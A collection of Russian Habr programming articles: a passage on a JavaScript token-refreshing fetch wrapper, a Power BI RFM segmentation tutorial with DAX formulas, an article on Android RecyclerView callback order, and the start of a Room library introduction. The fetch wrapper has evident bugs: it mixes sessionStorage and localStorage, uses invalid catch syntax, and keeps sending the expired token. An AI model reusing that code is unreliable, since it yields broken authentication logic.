Создание функции-обертки
------------------------
Теперь создадим функцию, которая будет добавлять данные для авторизации в шапку запроса, и при необходимости их автоматически обновлять перед совершением запроса.
Так как в случае, если срок жизни токена истек, нам надо будет делать запрос нового токена, то наша функция будет асинхронной. Для этого мы будем использовать конструкцию async/await.
### Функция-обертка
```
export async function fetchWithAuth(url, options) {
const loginUrl = '/login'; // url страницы для авторизации
let tokenData = null; // объявляем локальную переменную tokenData
if (sessionStorage.authToken) { // если в sessionStorage присутствует tokenData, то берем её
tokenData = JSON.parse(localStorage.tokenData);
} else {
return window.location.replace(loginUrl); // если токен отсутствует, то перенаправляем пользователя на страницу авторизации
}
if (!options.headers) { // если в запросе отсутствует headers, то задаем их
options.headers = {};
}
if (tokenData) {
if (Date.now() >= tokenData.expires_on * 1000) { // проверяем не истек ли срок жизни токена
try {
const newToken = await refreshToken(tokenData.refresh_token); // если истек, то обновляем токен с помощью refresh_token
saveToken(newToken);
} catch () { // если тут что-то пошло не так, то перенаправляем пользователя на страницу авторизации
return window.location.replace(loginUrl);
}
}
options.headers.Authorization = `Bearer ${tokenData.token}`; // добавляем токен в headers запроса
}
return fetch(url, options); // возвращаем изначальную функцию, но уже с валидным токеном в headers
}
```
С помощью кода выше мы создали функцию, которая будет добавлять токен к запросам в api. На эту функцию мы можем заменить fetch в нужных нам запросах, где требуется авторизация и для этого нам не потребуется менять синтаксис или добавлять в аргументы еще какие-либо данные.
Просто достаточно будет «импортнуть» ее в файл и заменить на нее стандартный fetch.
```
import fetchWithAuth from './api';
function getData() {
return fetchWithAuth('api/data', options)
}
``` | https://habr.com/ru/post/456188/ | null | ru | null |
# Сегментарный анализ на примере RFM-анализа средствами Power BI
Существует большое разнообразие методов сегментарного анализа в маркетинге. Во-первых, сегментация — это стратегия, используемая для концентрации ресурсов на целевом рынке/объекте и оптимизации их использования. Во-вторых, сегментация — это алгоритм анализа рынка для лучшего учёта его особенностей.
Эффективно проведённая сегментация упрощает и удешевляет маркетинговую политику, позволяет отказаться от многих затратных методов продвижения. Объяснение очень простое - покупатель приходит к продавцу не за рекламой и скидками, а за удовлетворением своих потребностей. Поэтому продавцы, предлагающие товары или услуги, лучше удовлетворяющие потребности покупателей (по свойствам, качеству, цене и т. д.), могут добиться большего эффекта, а также свести к минимуму затраты на рекламу и скидки.
Рассмотрим частотно-монетарный метод сегментации применительно к e-commerce сфере. Частотно-монетарный анализ (RFM анализ) - анализ, в основе которого лежат поведенческие факторы групп или сегментов клиентов, позволяющий сегментировать клиентов по частоте и сумме покупок и выявлять тех, которые приносят больше денег. Данный метод позволяет получить ценные инсайты по построению маркетинговых стратегий в компании. Также RFM-сегментация помогает применять особый комуникативный подход к каждой группе клиентов.
RFM-анализ частично перекликается с принципом Парето, полагающим, что 80% результатов происходят благодаря 20% усилий*.* Если данный принцип рассматривать в общем ключе маркетинга - 80% всех ваших продаж исходят от 20% наиболее лояльных и постоянных клиентов. Постоянные клиенты всегда буду иметь высокое влияние на выручку, а значит – возвращаемость этих клиентов крайне важна для показателей дохода.
Аббревиатура RFM расшифровывается:
* **Recency** — давность (как давно клиенты приобретали товар или услуги). Высокий показатель давности означает, что у клиентов уже сложилось достаточно хорошее впечатление о вашем бренде, поэтому они недавно совершили покупку. Давность в срезе клиентской базы можно посмотреть, если отсортировать клиентов по дате последней покупки.
* **Frequency** — частота (как часто клиенты у вас покупают). Высокий показатель частоты говорит о том, что клиентам нравится ваш бренд, товары или услуги, поэтому он часто к вам возвращается. Для расчета частоты посещения нужно общее кол-во покупок/визитов разделить на кол-во дней/месяцев/годов и т.д.
* **Monetary** — деньги (общая сумма трат). Высокий уровень этого показателя означает, что клиентам нравится тратить именно у вас.
Для наиболее точного RFM-анализа, каждый из этих показателей необходимо условно разделить на N сегментов (чаще всего рекомендуется разбивать на 5 групп) – от наименьшего к наибольшему. В рамках этой статьи можно ограничиться 3 ступенями в каждом из показателей.
По этим признакам можно разделить всех клиентов на группы, понять, кто покупает у вас часто и много, кто — часто, но мало, а кто вообще давно ничего не покупал.
Данный метод помогает разделить ваших клиентов на группы разных размеров, чтобы вам было легче понять, кто из них лучше всего реагирует на текущие рекламные кампании и на будущие активности.
Как правило, небольшой процент пользователей реагирует на общие рекламные предложения (холодные рассылки по всей клиентской базе). RFM анализ используется для исследования поведения покупателей, чтобы определить, как работать с каждой группой клиентов.
Критерии сегментации клиентов
-----------------------------
Чтобы провести RFM-анализ, необходимо собрать данные обо всех покупках, совершённых всеми клиентами и суммы всех этих покупок, и распределить клиентов на сегменты с учётом времени с момента последнего приобретения (Recency), частоты покупок (Frequency) и суммы потраченных средств (Monetary). Каждому из клиентов ставится по три оценки, соответствующие каждому из этих параметров. Например, по трёхбалльной системе (где 1 — хорошо, 2 — нормально и 3 — плохо).
В итоге должно получится 27 сегментов с числовыми значениями распределёнными определённым образом в интервале от 111 до 333 включительно, где первая цифра - показатель “давности”/”свежести” покупок (1 - покупал на днях, 2 - покупал относительно недавно, 3 - покупал довольно давно), вторая - показатель “частоты” (1 - покупал часто, 2 - покупал не часто, 3 - покупал редко), а третья - показатель “монетарности”/”доходности” (1 - принёс очень много денег[попадает под правило Парето], 2 - принес много денег, 3 - принёс мало денег). Для удобства и упрощения восприятия некоторые сегменты можно объединять в группы:
| **Значение** | **Определение сегмента** | **Определение группы** |
| --- | --- | --- |
| 111 | Недавно покупавшие частые с высоким чеком | VIP |
| 112 | Недавно покупавшие частые со средним чеком | Выгодные |
| 113 | Недавно покупавшие частые с низким чеком | Выгодные |
| 121 | Недавно покупавшие редкие с высоким чеком | Потенциально выгодные |
| 122 | Недавно покупавшие редкие со средним чеком | Потенциально выгодные |
| 123 | Недавно покупавшие редкие с низким чеком | Новенькие |
| 131 | Недавно покупавшие разовые с высоким чеком | |
| 132 | Недавно покупавшие разовые со средним чеком | Новенькие |
| 133 | Недавно покупавшие разовые с низким чеком | Новенькие |
| 211 | Спящие частые с высоким чеком | Спящие выгодные |
| 212 | Спящие частые со средним чеком | Спящие выгодные |
| 213 | Спящие частые с низким чеком | Спящие выгодные |
| 221 | Спящие редкие с высоким чеком | Спящие выгодные |
| 222 | Спящие редкие со средним чеком | Спящие выгодные |
| 223 | Спящие редкие с низким чеком | Спящие |
| 231 | Спящие разовые с высоким чеком | Спящие |
| 232 | Спящие разовые со средним чеком | Спящие |
| 233 | Спящие разовые с низким чеком | Спящие |
| 311 | Давние частые с высоким чеком | Уходящие выгодные |
| 312 | Давние частые со средним чеком | Уходящие выгодные |
| 313 | Давние частые с низким чеком | Уходящие |
| 321 | Давние редкие с высоким чеком | Уходящие |
| 322 | Давние редкие со средним чеком | Уходящие |
| 323 | Давние редкие с низким чеком | Потерянные |
| 331 | Давние разовые с высоким чеком | Потерянные |
| 332 | Давние разовые со средним чеком | Потерянные |
| 333 | Давние разовые с низким чеком | Потерянные |
Сегменты могут получиться неравномерными (в один сегмент могут попасть 90% всех клиентов, в другой — 1%). Поэтому слишком широкие группы целесообразно разбивать на несколько дополнительных, а узкие — объединять. Также можно выделять больше уровней сегментации. Однако это усложнит дальнейшую работу с сегментами, так как их получится еще больше. Если уровней будет N — получится N^3 сегментов.
Основная сложность — определить границы сегментов, потому что универсальных рекомендаций по этому поводу нет. Важно ориентироваться на нишу, жизненный цикл продукта и покупателя, и другие факторы. Диапазон для каждого показателя у разных компаний будет свой.
Иногда для построения сегментов достаточно учитывать только 2 параметра, а иногда приходится обогащать данные дополнительными сведениями для выведения новых критериев и групп сегментации.
Преимущества и недостатки RFM-анализа
-------------------------------------
Как и любой инструмент RFM-анализ имеет свои сильные и слабые стороны.
Преимущества:
1. Простота и сочетаемость с другими маркетинговыми инструментами.
2. Благодаря точному таргетированию аудитории позволяет снизить затраты на рекламные кампании и привлечение новых клиентов.
3. Низкие временные затраты на анализ.
Недостатки:
1. Высокая зависимость от объёма исходных данных, плохо работает на малом количестве клиентов.
2. Не подходит для компаний с разовыми продажами.
RFM-анализ средствами PowerBI
-----------------------------
### Предварительная обработка данных
В данной статье мы будем работать в программном обеспечении PowerBI. Рассмотрим данные о продажах е-commerce проекта "Рога и Копыта". Загрузим их в программу:
Данные представляют из себя агрегированные покупки клиентов по дням.
Для анализа клиентов создадим отдельную таблицу уникальных клиентов. Для этого необходимо перейти на вкладку “Средства работы с таблицами“ и использовать кнопку “Создать таблицу”. Далее в открывшейся строке запроса/формул ввести название будущей таблицы и необходимую формулу (`Clients = DISTINCT('Payments'[AccId])`), для формирования списка уникальных клиентов:
Таким образом будет получен список уникальных клиентов, когда-либо совершивших покупки в компании "Рога и Копыта". Далее необходимо обогатить данные датой последней покупки, суммарной выручкой и частотой покупок. Для этого необходимо создать 3 дополнительных столбца при помощи инструмента “создать столбец“.
Если решать задачу “в лоб” - программа вернёт последнюю дату из датасета.
Прибегнем к неочевидному методу группировки. Опционально (не обязательно) можно создать связь “один ко многим“ в модели данных, для этого нужно перейти во вкладку “модель“, которая находится на левой панели инструментов, и перетянуть совпадающие поля таблиц:
Далее необходимо вернуться на вкладку работы с данными и заменить формулу.
В итоге должно появиться 3 столбца с формулами:
Для даты последней покупки:
```
MaxPayedDate =
VAR Client = 'Clients'[AccId]
VAR RESULT =
MAXX(
FILTER(
'Payments',
'Payments'[AccId] = Client
),
'Payments'[date]
)
RETURN RESULT
```
Для частоты покупок:
```
PaymentsCount =
VAR Client = 'Clients'[AccId]
VAR RESULT =
COUNTAX(
FILTER(
'Payments',
'Payments'[AccId] = Client
),
'Payments'[AccId]
)
RETURN RESULT
```
Для суммарной выручки:
```
Amount =
VAR Client = 'Clients'[AccId]
VAR RESULT =
SUMX(
FILTER(
'Payments',
'Payments'[AccId] = Client
),
'Payments'[Amount]
)
RETURN RESULT
```
Так же для расчёта “давности” покупки добавим столбец вычисляющий число прошедших дней с момента последней покупки клиента до самой свежей/максимальной даты в датасете.
```
DaysPassed = DATEDIFF('Clients'[MaxPayedDate], MAX('Payments'[Date]),DAY)
```
Расчёт “давности“ до максимальной даты в датасете удобнее чем до текущей даты, так как данные могут устаревать, если отчёт обновляется, например, 1 раз в месяц или реже. На итоговый расчёт данная разница никак не повлияет.
Промежуточная таблица с данными для анализа будет выглядеть так:
Так же есть ещё 2 метода получения подобной промежуточной таблицы: GROUPBY и SUMMARIZE.
Код для создания таблиц будет выглядеть примерно так:
```
Clients_GROUPBY =
GROUPBY(
'Payments',
'Payments'[AccId],
"MaxPayedDate", MAXX(CURRENTGROUP(), 'Payments'[Date]),
"PaymentsCount", COUNTAX(CURRENTGROUP(), 'Payments'[AccId]),
"Amount", SUMX(CURRENTGROUP(), 'Payments'[Amount])
)
```
и
```
Clients_SUMMARIZE =
SUMMARIZE(
'Payments',
'Payments'[AccId],
"MaxPayedDate", MAX('Payments'[Date]),
"PaymentsCount", COUNT('Payments'[AccId]),
"Amount", SUM('Payments'[Amount]),
"DaysPassed", DATEDIFF(MAX('Payments'[Date]), CALCULATE(MAX('Payments'[Date]), ALL('Payments')),DAY)
)
```
соответственно.
Как можно видеть - в вычислении через SUMMARIZE добавлен дополнительный столбец, вычисляющий количество дней прошедших с момента последней покупки. В вычислении через GROUPBY такой столбец не вычисляется, так как скалярные выражения должны быть статистическими функциями в в пределах выбранной группы.
Выбор, какой метод применить, остаётся за разработчиком. От себя могу добавить, что в рассматриваемом примере наилучшим образом себя показал метод с группировкой через GROUPBY.
### Исследование поведения пользователей
Для определения правильных границ сегментации по каждому из критериев можно прибегнуть к средствам визуального анализа PowerBI. Для этого надо перейти на вкладку “отчёт“ на левой панели инструментов и создать гистограмму с накоплением. На ось Х нужно перетащить столбец “DaysPassed“ таблицы клиентов, на ось Y - столбец “DaysPassed“ таблицы клиентов. Изначально для оси Y будет рассчитана сумма значений “DaysPassed“ для каждого значения по оси X. Для определения плотности распределения (количества повторяющихся значений) требуется перейти в настройки агрегации оси Y (стрелочка вниз возле наименования оси) и выбрать пункт “количество“.
Данный визуальный элемент показывает какое количество клиентов (высота столбца) какое количество дней назад(ось Х) совершили последнюю покупку.
Чаще всего в активно развивающихся компаниях такая гистограмма плохо информативна. Что бы получить более полную картину распределения клиентов по давности покупки добавим на лист отчёта минимальное значение, максимальное значение, медианное значение и среднее арифметическое (наименее информативный показатель при распределении отличном от нормального или равномерного).
Для этого можно воспользоваться визуальным элементом “карточка“. Все карточки можно настроить так же как и ось Y гистограммы, не прибегая к созданию собственных вычислений/мер.
Итоговая страница отчёта будет выглядеть примерно вот так:
На данной странице отчёта дополнительно выведено общее число строк анализируемой таблицы.
Для оставшихся параметров доходности и частоты покупок необходимо создать ещё 2 страницы отчёта. Описывать подробно процесс создания нет необходимости, действия такие же как при создании страницы “Давность”.
На странице отчёта “Доход“ отчётливо видно, что большинство клиентов сконцентрировано в самом начале гистограммы. Чтобы детальнее рассмотреть область максимальной плотности можно сменить тип оси X гистограммы на “категориальный“.
Если обратить внимание - значения по оси X расположены не по порядку. Это связано с сортировкой значений по оси Y по убыванию. Тем не менее такое распределение наиболее информативно описывает поведение клиентов.
### Определение групп пользователей
После определения обобщённого поведения клиентов необходимо выбрать границы сегментов по каждому из параметров. Так как в данной статье рассматривается 3х сегментный подход можно обойтись медианным методом сегментации. Если проще - надо определить 25й, 50й и 75й процентиль и использовать в определении сегментов, для этого необходимо вернуться в режим работы с данными и создать в таблице клиентов “Clients“ 4 столбца - 3 столбца определения сегментов основных параметров и сводный столбец итоговых сегментов.
Для сегментации по давности:
```
R =
//чем меньше времени прошло тем лучше - поэтому считается 25й процентиль
VAR Recency_Good = PERCENTILE.INC('Clients'[DaysPassed], 0.25)
VAR Recency_Bad = PERCENTILE.INC('Clients'[DaysPassed], 0.5)
VAR result = SWITCH( TRUE(),
'Clients'[DaysPassed] <= Recency_Good, 1,
'Clients'[DaysPassed] <= Recency_Bad, 2,
3
)
RETURN result
```
Для сегментации по частоте:
```
F =
//чем чаще покупают тем лучше - поэтому считается 75й процентиль
VAR Frequency_Good = PERCENTILE.INC(Clients[PaymentsCount], 0.75)
VAR Frequency_Bad = PERCENTILE.INC(Clients[PaymentsCount], 0.5)
VAR result = SWITCH( TRUE(),
'Clients'[PaymentsCount] >= Frequency_Good, 1,
'Clients'[PaymentsCount] >= Frequency_Bad, 2,
3
)
RETURN result
```
Для сегментации по доходу:
```
M =
//чем больше денег оставлено тем лучше - поэтому считается 75й процентиль
VAR Monetary_Good = PERCENTILE.INC(Clients[Amount], 0.75)
VAR Monetary_Bad = PERCENTILE.INC(Clients[Amount], 0.5)
VAR result = SWITCH( TRUE(),
'Clients'[Amount] >= Monetary_Good, 1,
'Clients'[Amount] >= Monetary_Bad, 2,
3
)
RETURN result
```
Для сводного параметра есть 2 способа:
```
//Текстовый, главное не забыть поменять тип данных в столбце
RFM = 'Clients'[R]&'Clients'[F]&'Clients'[M]
//Числовой. Немного длиннее для записи, но не требует иных действий
RFM = 100*'Clients'[R] + 10*'Clients'[F] + 'Clients'[M]
```
Как итог - имеем на руках готовый список клиентов, сегментированный на 27 групп и можно сказать, что на этом основная работа закончена.
Как можно видеть - по табличным данным довольно сложно получить общее представление о ситуации в компании. Для быстрого визуального анализа можно воспользоваться визуальным элементом(наиболее популярным при таком виде анализа) “Диаграмма дерева“. Для этого надо перейти в режим создания отчёта, создать новую страницу отчёта и выбрать нужный визуальный элемент. В поле категория перетащить столбец “RFM“ таблицы “Clients“, а в поле значения - “AccId“.
Выбранный визуальный элемент позволяет оценить долю каждого сегмента в общей массе клиентов, но всё равно ещё малопонятен.
Для упрощения восприятия наши сегменты можно объединить в более крупные сегменты объединённые общим смыслом. Для этого необходимо создать справочную таблицу.
Затем в режиме редактирования модели данных надо установить связь “один ко многим“ между только что созданной таблицей и таблицей клиентов.
Всё готово. Остаётся только “навести красоту“. Для этого стоит вернуться в режим создания отчётов, выбрать визуальный элемент с деревом категорий и заменить в поле “категория“ текущее значение столбцом с описанием укрупнённых сегментов - “Unifying\_definition“.
Теперь отчёт приобретает более осмысленный вид, но всё равно не хватает информативности - нельзя быстро понять сколько клиентов в какие группы попали. Чтобы добавить информативности можно добавить визуальный элемент “матрица” и в поле “строки“ перетащить сначала столбец “Unifying\_definition“ из справочной таблицы, а затем столбец “AccId“ из таблицы “Clients“ (это создаст вложенную структуру и всегда будет известно, кто конкретно попал в целевую группу), а в поле “Значения“ ещё раз перетащить столбец “AccId“ из таблицы “Clients“.
Для понимания общей картины можно рассчитать несколько показателей:
| **Показатель** | **Мера/набор мер** |
| --- | --- |
| Общий доход от продаж | `TotalSales = SUM('Payments'[Amount])` |
| Общее количество покупателей | `CountOfCustomers = DISTINCTCOUNT('Clients'[AccId])` |
| Средний чек | `AvgBill = AVERAGE('Payments'[Amount])` |
| Доля клиентов с пометкой “Выгодный“ в клиентской базе | `CountOfImportnatCustomers = CALCULATE(DISTINCTCOUNT('Clients'[AccId]), CONTAINSSTRING('RFM_catalog'[Unifying_definition], "Выгодные"))``%ImportantCustomers = DIVIDE([CountOfImportnatCustomers],[CountOfCustomers],0)` |
| Доля клиентов с пометкой “Выгодный“ в объёме прибыли | `AmountOfImportantCustomers = CALCULATE([TotalSales], ALL(), CONTAINSSTRING('RFM_catalog'[Unifying_definition], "Выгодные"))``%ImportantCustomersAmount = DIVIDE([AmountOfImportantCustomers],[TotalSales], 0)` |
| Доля клиентов с пометкой “VIP“ в клиентской базе | `CountOfVIPCustomers = CALCULATE(DISTINCTCOUNT('Clients'[AccId]), 'RFM_catalog'[Unifying_definition] = "VIP")``%VIPCustomers = DIVIDE([CountOfVIPCustomers],[CountOfCustomers],0)` |
| Доля клиентов с пометкой “Выгодный“ в объёме прибыли | `AmountOfVIPCustomers = CALCULATE([TotalSales], ALL(), 'RFM_catalog'[Unifying_definition] = "VIP")``%VIPCustomersAmount = DIVIDE([AmountOfVIPCustomers],[TotalSales], 0)` |
Размещать числовые показатели на странице отчёта лучше всего при помощи визуального элемента “Карточка“. Карточка имеет всего одно поле для переноса данных - с ней трудностей не возникнет.
При помощи правой кнопки мыши можно скрыть вспомогательные страницы отчёта и вот теперь отчёт готов к публикации.
### Вывод
Kомпания “Рога и Копыта“ плохо справляется с удержанием клиентов. Большинство клиентов предпочитает совершать мелкие покупки один-два раза и больше не возвращаться. Однако, в такой негативной тенденции оттока клиентов есть довольно большая группа лояльных постоянных клиентов.
Как можно видеть, даже такой простой отчёт позволит маркетологам проработать стратегию по возврату спящих и уходящих клиентов, подтолкнуть клиента к переходу между сегментами или поощрить самых выгодных клиентов, не напрягая никого из них бесполезными и неинтересными предложениями, что в свою очередь если и не повысит лояльность клиента, то как минимум не опустит её. | https://habr.com/ru/post/665972/ | null | ru | null |
# О чём молчит developer.android.com про RecyclerView?
Вопрос о жизненном цикле (*life cycle*) активности (*activity*) или фрагмента (*fragment*) андроид-приложения чрезвычайно важен для практикующего андроидчика (андроид-разработчика). Почему? Потому что порядок выполнения обратных вызовов всех методов, связанных с состоянием жизненного цикла (*onCreate()*, *onStart()* и т.д.), жёстко задан и неправильное его применение приведёт к неработоспособности приложения. При чём здесь жизненный цикл? — спросит внимательный хаброчитатель. Ведь в заголовке, вроде бы, речь не о нём? Отвечаю: между жизненным циклом активности и работой RecyclerView есть нечто общее — это **НАЛИЧИЕ ЖЁСТКОГО ПОРЯДКА** выполнения методов обратного вызова при использовании данного виджета, и, следовательно, необходимость **ЕГО ПРАВИЛЬНО ПРИМЕНЯТЬ**.
Если этого не делать, то списки могут вести себя крайне загадочным образом.
Минимальный адаптер для RecyclerView
------------------------------------
***Например.*** Есть такой адаптер списка со стандартным ***минимальным*** нополнением:
### Листинг 1
```
public class RvCustomAdapter extends
RecyclerView.Adapter {
private final Frag1 frag;
private final LayoutInflater lInflater;
private ArrayList dataSet;
... ... ...
public RvCustomAdapter(final Frag1 fragment) {
this.frag = fragment;
this.lInflater = (LayoutInflater) fragment.getContext()
.getSystemService(Context.LAYOUT\_INFLATER\_SERVICE);
this.dataSet = new ArrayList<>();
}
... ... ...
@Override
public CustomViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
// Создание нового вью
View view = lInflater.inflate(R.layout.recycler\_view\_data\_item,
parent, false);
/\*\*
\* Здесь можно программно менять атрибуты
\* лэйаута (size, margins, paddings и др.)
\*/
RecyclerView.LayoutParams params =
(RecyclerView.LayoutParams) view.getLayoutParams();
params.height = RecyclerView.LayoutParams.WRAP\_CONTENT;
view.setLayoutParams(params);
return new CustomViewHolder(view);
}
// Заменяет контент отдельного view (вызывается layout manager-ом)
@Override
public void onBindViewHolder(@NonNull CustomViewHolder holder,
int position) {
holder.showData(position);
}
@Override
public int getItemCount() {
return dataSet.size();
}
/\*\*
\* Класс view holder-а с помощью которого мы получаем
\* ссылку на каждый элемент
\* отдельного пункта списка и обрабатываем его нажатие
\*/
class CustomViewHolder extends RecyclerView.ViewHolder {
... ... ...
@BindView(R.id.ll\_Data)
LinearLayout ll\_Data;
@BindView(R.id.cb\_Data)
CheckBox cb\_Data;
... ... ...
private JSONDataSet cur;
CustomViewHolder(View itemView) {
super(itemView);
ButterKnife.bind(this, itemView);
}
/\*\*
\* Методы, размещающие данные в элементах списка
\* и определяющие их реакцию на действия пользователя.
\*/
... ... ...
}
```
В коде метода onBindViewHolder() адаптера нашего списка, элементы которого содержат чек-бокс (*CheckBox*), есть обращение к методу обработчика (*holder*'a), в котором считываются данные из подключенной к адаптеру коллекции и на их основании устанавливается его — чек-бокса — состояние, а также к различным элементам интерфейса подключаются необходимые слушатели (*Listener*):
### Листинг 2
```
void showData(final int position) {
cur = dataSet.get(position);
cb_Data.setChecked(cur.isChecked());
... ... ...
cb_Data.setOnCheckedChangeListener(cb_DataOnCheckedChangeListener);
ll_Data.setOnClickListener(ll_DataOnClickListener);
}
private OnClickListener ll_DataOnClickListener =
new OnClickListener() {
@Override
public void onClick(View view) {
cur.setChecked(!cur.isChecked());
cb_Data.setChecked(cur.isChecked());
}
};
private OnCheckedChangeListener cb_DataOnCheckedChangeListener =
new OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton compoundButton,
boolean checked) {
cur.setChecked(checked);
compoundButton.setChecked(checked);
setItemsColor(checked);
if (checked) {
if (...) {
(frag).addSelectedItemsCounter(cur);
} else {
cur.setChecked(!checked);
compoundButton.setChecked(!checked);
setItemsColor(!checked);
if (...) {
createPrimaryDialog();
} else {
createSecondaryDialog();
}
}
} else {
(frag).remSelectedItemsCounter(cur);
}
}
};
```
Слушатели при установке флага и выполнении некоего условия изменяют данные в коллекции, а при его невыполнении выводят на экран или одно, или другое диалоговое окно.
Получается примерно так:
  
На Рис-1 — сформированный список. На Рис-2 — Отмеченный элемент списка. На Рис-3 — диалог, сообщающий о нарушении условия при отметке очередного элемента.
Для получения результата с Рис-1 менеджером разметки списка (*LayoutManager*'ом) выполняется такой порядок вызова необходимых функций:
### Алгоритм 1
1. Rv\_Adapter.getItemCount() — проверяется количество элементов в коллекции;
2. Rv\_Adapter.onAttachedToRecyclerView( ) — адаптер подключается к виджету;
3. Пока элементами списка не будет заполнено пространство экрана, отведённое под список выполняются следующие шаги алгоритма 2:
### Алгоритм 2
1. Rv\_Adapter.onCreateViewHolder( ) — для каждого элемента коллекции создаётся свой обработчк;
2. CustomViewHolder( ) — выполняется конструктор обработчика;
3. Rv\_Adapter.onBindViewHolder( ) — для каждого экземпляра запускается построитель вида (*view*);
4. Rv\_Adapter.onViewAttachedToWindow( ) — сформированный вид подключается к окну;
Всё замечательно! Если бы не «Но». Вернее **НО!**
Проблема
--------
***При прокрутке длинного списка, содержащего хотя бы пару десятков позиций, мы без всяких других действий будем получать сообщение с Рис-3.***
Устранение проблемы
-------------------
Причина в том, что при написании кода адаптера **МЫ НЕ УЧЛИ ПОРЯДОК ВЫПОЛНЕНИЯ** функций обратного вызова, перечисленных [здесь](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter) и [здесь](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ViewHolder) при прокрутке. А он таков:
### Алгоритм 3
1. При скрытии за границей видимости каждого элемента списка для связанного с ним экземпляра обработчика выполняется метод *Rv\_Adapter.onViewDetachedFromWindow()*, который отключает скрывшийся вид от окна;
2. При появлении из-за границы видимости каждого нового элемента списка (*itemView*) для связанного с ним экземпляра обработчика (*handler*) выполняется Алгоритм 2;
Но это ещё не всё. При «поумолчательных» настройках менеджера разметки каждый отключенный от окна элемент списка не долго остаётся в очереди для быстрого доступа. Как только их там оказывается 2 — они перемещаются менеджером в очередь утилизированных экземпляров, что отмечается вызовом метода Rv\_Adapter.onViewRecycled() для каждого утилизируемого пункта списка и наоборот.
По этому Алгоритм 3 на самом деле выглядит так:
### Алгоритм 3'
```
//Признак направления прокрутки списка: прямое - true, обратное - false:
bool direction;
if(direction){
/**
* отключаем вью от окна и сдвигаем её в следующую
* позицию прямой очереди отключенных вью
* (назовём её directDetachedViews)
*/
Rv_Adapter.onViewDetachedFromWindow(holder);
/**
* Если в прямой очереди отключенных от окна
* вью их более, чем max
*/
if(directDetachedViews.size() > max) {
/**
* то переносим связанный с вью обработчик (holder)
* из хвоста прямой очереди отключенных
* в голову прямой очереди утилизированных
* (назовём её directRecycleredHolders)
*/
Rv_Adapter.onViewRecycled(holder);
}
/**
* Если позиция появляющегося элемента
* (visiblePos) меньше объёма коллекции, то
*/
if(visiblePos < Rv_Adapter.getItemCount()) {
/**
* Если в голове обратной очереди отключенных
* от окна вью (назовём её reverseDetachedViews)
* отсутствует вью (itemView), соответствующее позиции
* появляющегося элемента (назовём её visiblePos),
*/
if(reverseDetachedViews.content(itemView)){
/**
* то если в голове обратной очереди утилизированных
* обработчиков (назовём её reverseRecycleredHolders)
* элементов отсутствует holder, соответствующий его позиции
* в коллекции, равный visiblePos, то создаём его
*/
Rv_Adapter.onCreateViewHolder(itemView) -> {
holder = CustomViewHolder(itemView);
};
} else {
/**
* иначе - извлекаем его из головы обратной очереди
* утилизированных обработчиков (reverseRecycleredHolders)
*/
holder = reverseRecycleredHolders.getHolder(visiblePos);
}
/**
* и формируем вью на основе данных соответствующего
* элемента коллекции
*/
Rv_Adapter.onBindViewHolder(holder, visiblePos);
} else {
/**
* иначе - извлекаем его из обратной очереди
* отключенных от окна вью (reverseDetachedViews)
*/
holder = reverseDetachedViews.getHolder(visiblePos)
}
//и подключаем его к окну
Rv_Adapter.onViewAttachedToWindow(holder);
} else {
... ... ... ... ...
}
```
Из приведённого **Алгоритма 3'** видно, что в случае пролистывания списка более, чем на max количество позиций вью в нём будут создаваться заново, для чего будет задействован метод *Rv\_Adapter.onBindViewHolder(holder, visiblePos)*, который будет повторять действия пользователя.
Вывод и рекомендация
--------------------
Для того, чтобы избежать повторения операций в методе *onBindViewHolder(holder, visiblePos)* при скроллинге списка на количество позиции, большее, чем *max* необходимо:
1. Дополнить элементы коллекции полем с признаком вытеснения связанного с ним вью в очередь утилизированных обработчиков, например *bool recycled*;
2. Вставить в метод *onViewRecycled(holder)* инструкции по установке этого признака, например *....setRecycled(true)*;
3. Вставить в метод *onBindViewHolder(holder, visiblePos)* проверку этого признака, например if(!handler.cur.isRecycled())...;
4. Вставить в метод *onViewAttachedToWindow(holder)* инструкцию по снятию этого признака, например *....setRecycled(false)*;
**Например**, так:
### Листинг 3
```
@Override
public void onViewRecycled(@NonNull CustomViewHolder holder) {
super.onViewRecycled(holder);
holder.cur.setRecycled(true);
}
@Override
public void onBindViewHolder(@NonNull CustomViewHolder holder, int position) {
if (!holder.cur.isRecycled()){
... ... ...
}
}
@Override
public void onViewAttachedToWindow(@NonNull CustomViewHolder holder) {
super.onViewAttachedToWindow(holder);
holder.cur.setRecycled(false);
}
``` | https://habr.com/ru/post/430402/ | null | ru | null |
# Библиотека «Room» для начинающего Android-разработчика
Здравствуй, дорогой читатель. Каждый Android-разработчик сталкивался (или столкнётся во время своей профессиональной карьеры) с задачей, в которой необходимо хранить большое количество изменяемых данных. В данной статье будет разобрана библиотека от Google - Room.
В статье будет рассказано об основных компонентах библиотеки и будет разобран базовый, не очень сложный пример.
Статья предназначена для новичков, не знакомых с данной библиотекой, но, желательно, имеющих базовые знаниях о SQLite, Kotlin Coroutines, Kotlin Flow, MVVM.
Готовый практический пример, который будет разобран в статье. Все материалы и исходный код можно найти [здесь](https://github.com/coder-chekunkov/Room-Article).
#### Теоретическая часть
Для хранения каких-либо данных, Android-разработчику предоставлены следующие способы: *Files, SharedPreferences, SQLite, Resources/Assets*. Но какой способ выбрать? Для ответа на данный вопрос можно воспользоваться алгоритмом, изображенном на рисунке ниже.
Алгоритм выбора правильного способа хранения данных в Android.В случае, если данные, которые мы будем хранить, могут изменяться и имеют не простую структуру, следует выбрать SQLite.
**SQLite** - это реляционная база данных, в которой все данные хранятся в таблицах, которые в свою очередь могут быть связаны между собой. Для взаимодействия с базой данных используется специальный язык запросов - SQL. В случае, если Вы незнакомы с данной реляционной базой данных, - рекомендую данный [источник](https://metanit.com/sql/sqlite/1.1.php).
Один из способов для работы с SQLite в Android - это, встроенный в Android SDK, *SQL API*. Данное API позволяет работать с базой данных, но, по-моему мнению, данная технология далеко не простая, а в некоторых моментах даже сложная. В данной статье мы не будем разбирать данную технологию, а сразу перейдем к библиотеке "Room".
**Room** - это библиотека, представленная на *Google I/O* в 2017 году. Данная библиотека работает с базой данный SQLite и выполняет большую часть работы за Вас. Все что необходимо разработчику - это "объяснить" библиотеке как выглядят данные, их структуру и способы взаимодействия с помощью специальных аннотаций:
* `@Database` - аннотация для объявления базы данных.
* `@Entity` - аннотация для объявления сущности базы данных.
* `@Dao` - аннотация для объявления интерфейса, который будет заниматься манипулированием данными базы данных.
* `@PrimaryKey` - аннотация для объявления первичного ключа сущности.
* `@ColumnInfo` - аннотация для настроек конкретного столбца сущности.
